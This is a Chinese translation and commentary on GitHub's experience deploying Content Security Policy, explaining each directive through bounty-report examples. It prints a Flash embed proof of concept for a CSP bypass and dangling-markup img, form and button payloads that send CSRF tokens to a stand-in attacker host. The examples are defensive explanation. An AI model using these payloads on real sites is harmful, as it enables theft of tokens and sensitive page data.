<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/15120

            0x 00 Abstract


            最近看了一篇文章 ,作者是GitHub工程師 Patrick Toomey ,文中分享了GitHub在 應用CSP (Content Security Policy) 上一些經歷和踩過的坑,并給出了一些實際的案例來說明策略設置的原因,很具有參考意義。

            這里花了點時間翻譯下文章的要點,并且加上一部分自己的簡單理解,給大家提供參考。因為時間和水平有限,有理解或翻譯錯誤,歡迎大家指出~

            0x 01 Content Injection


            文中首先介紹了 Content Injection 的概念,主要包括兩個方面:

            因此僅防止XSS無法解決所有 Content Injection 問題。

            在防止 Content Injection 上,GitHub使用了自動轉義模板(auto-escaping templates)、code review和靜態分析( static analysis)的方法 。但之前的漏洞證明,內容注入問題是無法徹底避免的。雖然我們無法通過單一方法來解決,我們可以結合多種防護措施來增加攻擊者利用漏洞的難度,比如 Content Security Policy (CSP),它是單獨使用中最有效的緩解措施。

            0x 02 Content Security Policy


            Content Security Policy能夠用來限制頁面的 web 資源的加載和執行,如JavaScript、CSS、form表單提交等。GitHub三年前的CSP 策略如下:

            CONTENT-SECURITY-POLICY:
              default-src *;
              script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;
              style-src 'self' assets-cdn.github.com 'unsafe-inline';
              object-src 'self' assets-cdn.github.com;
            

            初始的策略為了保證向后兼容性,主要通過限制資源加載的domain來完成,但是對于注入HTML標簽來竊取敏感信息(后面會舉例說明)不起作用。

            后來,GitHub對第三方依賴腳本進行了重構和整理,增加了許多新的CSP策略,具體如下:

            CONTENT-SECURITY-POLICY:
              default-src 'none';
              base-uri 'self';
              block-all-mixed-content;
              child-src render.githubusercontent.com;
              connect-src 'self' uploads.github.com status.github.com api.github.com www.google-analytics.com wss://live.github.com;
              font-src assets-cdn.github.com;
              form-action 'self' github.com gist.github.com;
              frame-ancestors 'none';
              frame-src render.githubusercontent.com;
              img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.gravatar.com *.wp.com *.githubusercontent.com;
              media-src 'none';
              object-src assets-cdn.github.com;
              plugin-types application/x-shockwave-flash;
              script-src assets-cdn.github.com;
              style-src 'unsafe-inline' assets-cdn.github.com
            

            注:上面的策略中,有少部分和防止 content injection 沒有直接的聯系。

            下一章我們將會討論上述CSP策略的具體細節、策略是如何阻止特定的攻擊場景,并通過一些案例(bounty submissions )來幫助我們理解策略的用途。

            0x 03 CSP details


            script-src

            和最初的策略相比,當前的策略只允許從CDN來獲取JavaScript。

            前:

            script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;
            

            后:

            script-src assets-cdn.github.com;
            

            因此只要保證CDN上的資源是可靠即可阻止外部惡意腳本的加載和執行。

            此外,GitHub還采用了 subresource integrity 來減少加載惡意外部 JavaScript 的風險,Subresource Integrity 通過在標簽中添加 integrity 屬性,其值為資源對應的hash,比如:

            <script src="/assets/application.js" integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs="></script>
            

            瀏覽器在加載 application.js 時,會驗證其文件的 sha256 hash值是否和 integrity 的值相同,不相同則拒絕加載。這個可以防止 CDN 被擼后加載惡意 js 文件的場景,雖然 CDN 基本不太可能被擼~

            這里需要特別注意的是,修改后的 script-src 值是沒有包含 self 的,雖然一般來說從 self 加載JavaScript相對來說是安全的(被使用的也比較多),但還是應該盡可能避免。

            比如下面這幾種特殊的情況,開發者應該考慮阻止從 self 加載和允許js腳本。

            通過將 self 從策略中移除,即使是出現了上面兩種情況,js代碼也無法執行。

            我們也可以通過增加響應頭 X-Content-Type-Options: nosniff 來阻止瀏覽器對內容的嗅探解析(sniffed)行為。與之相比,CSP能夠提供強有力的保證,即使存在一個攻擊者能夠控制 content-type bug,也無需擔心js代碼會被執行。

            object-src

            在舊的的CSP策略中,對于 object 和 embed 標簽是允許 self 的。

            object-src 'self' assets-cdn.github.com;
            

            是因為GitHub依賴自己網站上的 ZeroClipboard 庫。 將依賴資源移動到CDN后,self 就不再需要了,但因為某些原因(懶得改 or 覺得不會有安全問題?),在后來的策略中并沒有被移除,直到一名 bounty hunter 發現了一種利用方式。攻擊者利用了一個 content injection bug 和 一個Chrome瀏覽器的bug 來 bypass CSP,并且成功執行js代碼。攻擊過程如下:

            首先,攻擊者用以下內容創建一個 Wiki 項:

            <div class="selected">
            <a href="https://some_evil_site.com/xss/github/embed.php" class="choose_plan js-domain">domain</div>
            </div>
            

            GitHub擁有一個特性,能夠在多個地方(Issues, Pull Requests, Comments)渲染用戶提供的HTML(通常是通過Markdown)。但用戶提供的HTML會經過過濾處理,防止注入任意的HTML。

            這里存在一種特殊情況,當HTML 標簽的class 屬性被設置為 choose_planjs-domain 時,會觸發 JavaScript 一些自動的操作,即自動請求標簽的 href ,并將 response 插入到 DOM中。

            而這里用戶是可以自定義HTML 標簽中的class屬性值的。但因為 response 中的HTML仍然會受到 CSP 的制約,無法執行任意的 JS 代碼。但此時,攻擊者已經可以插入任意的HTML到DOM中了。

            這里我的理解是因為 some_evil_site.com 不在 'self' assets-cdn.github.com 里,所以 自動請求標簽href資源 的行為會被瀏覽器blocked。這里需要href 對應的domain為self 或 CDN,才能成功加載資源并且把響應插入到DOM中。

            這里bounty hunter給出的 POC也符合我的推測,domain使用的是self,即github.com:

            <embed src="https://github.com/test-user/test-repo/raw/master/script.png" allowscriptaccess=always type="application/x-shockwave-flash">
            

            前面在 script-src 提到,用戶可控的內容(user-controlled content) + 瀏覽器對內容的嗅探解析(content sniffing) 可能會導致非預期的行為,因此加載 GitHub.com domain上用戶可控的內容會增加腳本執行的幾率,所以 GitHub在加載用戶可控資源時,采取了跳轉到另一個域名的方式來完成,比如請求 https://github.com/test-user/test-repo/raw/master/script.png 會跳轉到 https://raw.githubusercontent.com/test-user/test-repo/master/script.png ,但 raw.githubusercontent.com 不在 object-src 允許的列表里,那么上面的POC是如何讓 Flash成功加載并執行的呢?

            GitHub 經過研究,發現是因為 WebKit 的一個 bug 所導致。正常的邏輯是,瀏覽器會驗證所有的請求(包括redirects的)是否為CSP所允許。然而,有一些瀏覽器只會檢查第一個請求的 domain 是否在 source list中,而不檢查后續的 redirects 。

            因為第一個請求的 domain 是self,embed 就能通過驗證。瀏覽器的 Bug 加上 注入的 HTML(需要注意的是 allowscriptaccess=always 屬性)導致了CSP bypass。

            allowscriptaccess屬性的解釋如下:

            The AllowScriptAccess parameter in the HTML code that loads a SWF file controls the ability to perform outbound URL access from within the SWF file
            When AllowScriptAccess is "always," the SWF file can communicate with the HTML page in which it is embedded. This rule applies even when the SWF file is from a different domain than the HTML page.
            

            這里還需要注意的一點是,當 script.png 資源被加載時,返回的 content-typeimage/png 。但不幸的是, 只要Flash覺得響應像是一個Flash文件,就會盡可能的去嘗試執行!

            img-src

            與其它策略不同, img-src 通常被關注的比較少。通過限制image的source,能夠防止敏感信息泄露。比如當攻擊者能夠注入如下的img標簽:

            <img src='http://some_evil_site.com/log_csrf?html=
            

            可以看到標簽是未閉合的,這會導致在遇到下一個匹配的單引號之前的所有內容都會被當作是參數html的值,如果中間的內容包括一些敏感信息,如CSRF token:

            <form action="https://github.com/account/public_keys/19023812091023">
            ...
            <input type="hidden" name="csrf_token" value="some_csrf_token_value">
            </form>
            

            當img被加載時,則會導致這些內容被當作參數發送到 http://some_evilsite.com/

            這樣的標簽被稱為 dangling markup ,除了 img 標簽之外,還有一些標簽頁能夠竊取敏感信息。通過限制CSP 的 img-src,就能夠緩解這樣的情況。

            connect-src

            前面提到過,在標簽的class為某些特殊值時,JavaScript會自動加載標簽對應的URl資源,并修改DOM。通過限制 connect-src(限制XMLHttpRequest, WebSocket, and EventSource 的連接) 到特定的 domain list,能夠減少可能的攻擊面( attack surface)。比如向 api.braintreegateway.com 的連接只在支付相關的頁面被允許。

            當然,如果為每一個頁面都手動添加 connect-src ,維護起來非常困難,GitHub使用了 Secure Headers library 來實現動態 CSP 策略調整,感興趣的可以看看。

            form-action

            通過限制form表單可以提交的 action,可以降低 form 標簽注入所帶來的風險。與之前討論的 "dangling markup" 標簽 image 不同的是,form更加的微妙。比如攻擊者能夠注入如下的代碼:

            <form action="https://some_evil_site.com/log_csrf_tokens">
            

            注入標簽后的內容是一個form表單,如下:

            <form action="https://github.com/account/public_keys/19023812091023">
            ...
            <input type="hidden" name="csrf_token" value="afaffwerouafafaffasdsd">
            </form>
            

            因為注入的form標簽沒有閉合,瀏覽會向下尋找</form>,然后把之間的所有內容都作為表單的field,當用戶點擊提交時,一些敏感數據,比如csrf token就會發送到 https://some_evil_site.com/log_csrf_tokens,導致信息泄露。

            類似的通過 button 也可以完成:

            <button type="submit" form="version-form" formaction="https://some_evil_site.com/log_csrf_tokens">Click Me</button>
            

            通過限制 form-action 到特定的 domain list,可以減低所有通過 form 表單提交的方法來竊取敏感信息的可能性。

            但是GitHub測試后發現,當用戶在使用 Github OAuth 來登錄第三方應用時,因為限制了 form-action ,會導致登陸失敗。

            來看一下OAuth登錄的過程,用戶訪問類似如下鏈接 https://github.com/login/oauth/authorize?client_id=b6a3dd26bac171548204 ,如果用戶之前已經授權過該應用,就會跳轉到應用程序的網站,如果沒有則會彈框讓用戶先允許授權。授權的過程會向 GitHub.com 提交一個 POST 請求,然后302跳轉到應用的網站。在這個過程中,form表單時提交到 GitHub.com的,但是響應是跳轉到第三方網站,因為第三方網站的domain不在 form-action 的列表里,跳轉會blocked。

            那么是否要移除 form-action 的限制呢?GitHub想到使用 "meta refresh" 跳轉,類似這樣:

            <head>      
                <title>The Tudors</title>      
                <meta http-equiv="refresh" content="0;URL='http://thetudors.example.com/'" />    
            </head>  
            

            meta refresh 是用來在客戶端進行跳轉的一種技術(用js跳轉也可以)。通過避免302跳轉,CSP只會檢查表單提交的請求進行,而不會檢查之后的跳轉,從而解決了這個問題。

            GitHub在文中還提到,他們最終會為 form-action 添加 dynamic source 支持。

            child-src/frame-src

            Inline frames (iframes) 是很強的安全邊界。每個 frame 都受到同源策略的限制,就如同在單獨的window 或 tab 打開一樣。但是有一些情況下,比如攻擊者能夠在 GitHub.com 上注入一個frame,frame能夠加載任意網站的內容,如果這個網址需要返回一個401的響應碼(HTTP Authentication),而此時瀏覽器不會處理內嵌的contexts,就會彈框要求用戶輸入帳號密碼。對于大多數有安全意識的人都知道GitHub.com不會使用 basic authentication 或 JavaScript prompt dialogs,但總有些人不知道,就傻乎乎的輸入帳號密碼了。

            Firefox 瀏覽器支持一些frame的sandbox指令來防止這樣的情況,如 allow-modals ,但是只對某些特定的 sandboxed frames 有效。在CSP中也沒有相似的指令來限制某個frame是否能夠彈框。目前唯一的緩解措施就是限制能夠被framed的 domain。

            目前GitHub的策略是只允許自己的渲染域(render domain),比如用來渲染 STL files, image diffs, 和 PDFs。不久前,GitHub在使用 automatic generator 來生成預覽頁面的地方加入了 self。這里GitHub也提到,在將來,會使用之前提到的動態策略(dynamic policy)來取代。

            frame-ancestors

            這個指令是用來取代 X-FRAME-OPTIONS header的,可以緩解點擊劫持(clickjacking )和其它。目前該指令沒有得到瀏覽器廣泛的支持,GitHub 在所有的響應中同時設置了 frame-ancestors 指令和 X-FRAME-OPTIONS header。目前默認的策略是阻止所有 framing GitHub內容的行為 。和 frame-src 類似,這里是用了動態策略,在預覽生成的GitHub頁面的地方添加了self 。同時我們也允許通過 iframes 來 framing 分享 Gists 的頁面。

            base-uri

            比較少見,如果攻擊者能夠注入 base 標簽到頁面的head中,就可以改變所有relative URLs 。通過將其限制為 self, 我們可以保證攻擊者不能夠修改所有的relative URLs 和 將帶有CSRF tokens的form提交到惡意的站點。

            plugin-types

            許多瀏覽器插件都或多或少都存在一些安全問題,將插件限制到GitHub真正用到的列表,能夠減少注入objectembed 標簽后的潛在影響。plugin-types 指令與 object-src 的作用之間有一定的關聯性。正如之前所提到的,一旦 clipboard API 得到更廣泛的支持,GitHub就會block objectembed 標簽,把 object-src 的source設置成 none , 并將application/x-shockwave-flashplugin-types 移除。

            0x 04 Summay


            GitHub分享了自己在應用CSP的經驗和案例說明,個人覺得對于很多網站再應用CSP的時候有很好的參考和學習價值。

            PS. 因翻譯的比較急,有些地方我也沒有弄的很明白,大家有疑問可以留言一起討論~

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线